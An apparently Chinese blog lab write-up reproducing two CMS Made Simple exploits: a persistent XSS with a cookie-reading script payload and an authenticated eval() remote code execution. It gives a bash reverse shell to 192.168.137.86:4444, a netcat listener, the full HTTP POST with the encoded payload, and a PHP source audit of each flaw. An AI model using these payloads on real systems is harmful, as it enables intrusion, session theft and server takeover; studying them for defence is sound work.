------------------------------------------------------------

找到页面去验证

js脚本执行弹框了

还有xss漏洞点

└─$ cat 48851.txt

# Exploit Title: CMS Made Simple 2.2.14 - Persistent Cross-Site Scripting (Authenticated)

# Google Dork: -

# Date: 2020-09-29

# Exploit Author: Roel van Beurden

# Vendor Homepage: Open Source Content Management System : : CMS Made Simple

# Software Link: http://s3.amazonaws.com/cmsms/downloads/14793/cmsms-2.2.14-install.zip

# Version: 2.2.14

# Tested on: Linux Ubuntu 18.04

# CVE: CVE-2020-24860

\1. Description:

----------------------

CMS Made Simple 2.2.14 allows an authenticated user with access to the Content Manager to edit content and put persistent XSS payload in the affected text fields. The user

can get cookies from every authenticated user who visits the website.

\2. Affected parameters:

----------------------

Content > Content Manager > Edit some page > Logic (tab) > Page Specific Metadata (text field)

Content > Content Manager > Edit some page > Logic (tab) > Smart data or logic that is specific to this page (text field)

3: Example payload:

----------------------

<script>alert(document.cookie);</script>

4: Exploitation demo:

----------------------

youtube.com/watch?v=M6D7DmmjLak&t=22s

xss漏洞源码审计 

分析xss漏洞的产生 以php/webapps/49345.txt 例

找到输出的js的发动按钮

echo "<td><a href="deletebookmark.php".$urlext."&bookmark_id=".$onemark->bookmark_id."" οnclick="return confirm('".cms_html_entity_decode(lang('deleteconfirm', $onemark->title) )."');">";

$onemark->title="><script>alert(1)</script><"

echo "<td><a href="deletebookmark.php".$urlext."&bookmark_id=".$onemark->bookmark_id."" οnclick="return confirm('"+><script>alert(1)</script><+"');">";

与<a闭合了 因此产生了xss漏洞。

Cms源码文件RCE漏洞

searchsploit -p php/webapps/49345.txt

# Exploit Title: CMS Made Simple 2.2.15 - RCE (Authenticated)

# Author: Andrey Stoykov

# Vendor Homepage: Open Source Content Management System : : CMS Made Simple

# Software Link: CMS Made Simple™ Download Section : : CMS Made Simple

# Version: 2.2.15

# Tested on: Debian 10 LAMPP

# Exploit and Detailed Info: https://infosecresearchlab.blogspot.com/2020/12/cms-made-simple-2215-authenticated-rce.html

Vulnerability is present at "editusertag.php" at line #93 where the user input is in eval() PHP function.

// Vulnerable eval() code

if (eval('function testfunction'.rand().'() {'.$code."\n}") === FALSE) {

Reproduction Steps:

\1. Login as administrator user and navigate to Extensions->User Defined Tags

\2. Add code with the payload of://192.168.137.86

exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.137.86/4444 0>&1'");

\3. Click on the newly created User Defined Tag and use the Run function

RCE will be achieved:

astoykov@Lubuntu:~$ nc -kvlp 4444

nc: getnameinfo: Temporary failure in name resolution

Connection received on 192.168.56.132 53690

id

uid=1(daemon) gid=1(daemon) groups=1(daemon)

漏洞复现 exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.137.86/4444 0>&1'");

 直接拿到了shell

命令执行漏洞源码分析漏洞

0.定位上传变量 找到相关处理代码

POST /admin/editusertag.php?__c=159a81960459be1b86f&userplugin_id=7 HTTP/1.1

Host: 192.168.137.241

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: /

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.137.241/

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 286

Origin: http://192.168.137.241

Connection: close

Cookie: CMSSESSID2a2f83428536=hlgebt40ufbhhukehvtu4qlso2; e8bea75a6da7016c66b3b3297c499d57409313b5=cfeb9b89d09ef915d50354d82bd93bdd334b3270%3A%3AeyJ1aWQiOjEsInVzZXJuYW1lIjoiYWRtaW4iLCJlZmZfdWlkIjpudWxsLCJlZmZfdXNlcm5hbWUiOm51bGwsImhhc2giOiIkMnkkMTAkc3pGUWlHSmlHZnJxZGRuSlRnN0dDZTFpanNxcW5KWlpWOVRKdFRwT2J0d05YTVlydWJlcjYifQ%3D%3D; __c=159a81960459be1b86f

__c=159a81960459be1b86f&userplugin_id=7&userplugin_name=nc&code=exec(%22%2Fbin%2Fbash+-c+'bash+-i+%3E+%2Fdev%2Ftcp%2F192.168.137.86%2F4444+0%3E%261'%22)%3B&description=&code=exec(%22%2Fbin%2Fbash+-c+'bash+-i+%3E+%2Fdev%2Ftcp%2F192.168.137.86%2F4444+0%3E%261'%22)%3B&run=1&apply=1&ajax=1

1.准备变量

$record = array('userplugin_id'=>'',

'userplugin_name'=>'',

'code'=>'',

'description'=>'',

'create_date'=>'',

'modified_date'=>'');

2.接收变量

if( isset($POST['submit']) || isset($POST['apply']) ) {

$record['userplugin_name'] = trim(cleanValue($_POST['userplugin_name']));

$record['code'] = trim($_POST['code']);

$record['description'] = trim(cleanValue($_POST['description']));

//参数过滤

$code = $record['code'];

if( startswith($code,'<?php') ) $code = substr($code,5);

//匹配前5个字符 若是<?php 删除

if( endswith($code,'?>') ) $code = substr($code,0,-2);

//匹配后两个字符 若是?>删除

$lastopenbrace = strrpos($code, '{');

$lastclosebrace = strrpos($code, '}');

if ($lastopenbrace > $lastclosebrace) {

$error[] = lang('invalidcode');

$error[] = lang('invalidcode_brace_missing');

}

//参数执行

if( count($error) == 0 ) {

srand();

ob_start();

if (eval('function testfunction'.rand().'() {'.$code."\n}") === FALSE) {

//将传入的字符串作为PHP代码并在运行时执

//然而在php代码中调用执行系统函数 为了字符串exec 执行

$error[] = lang('invalidcode');

$buffer = ob_get_clean();

//add error

$error[] = preg_replace('/<br \/>/', '', $buffer );

$validinfo = false;

}

else {

ob_get_clean();

}

}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

昵称还在想呢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值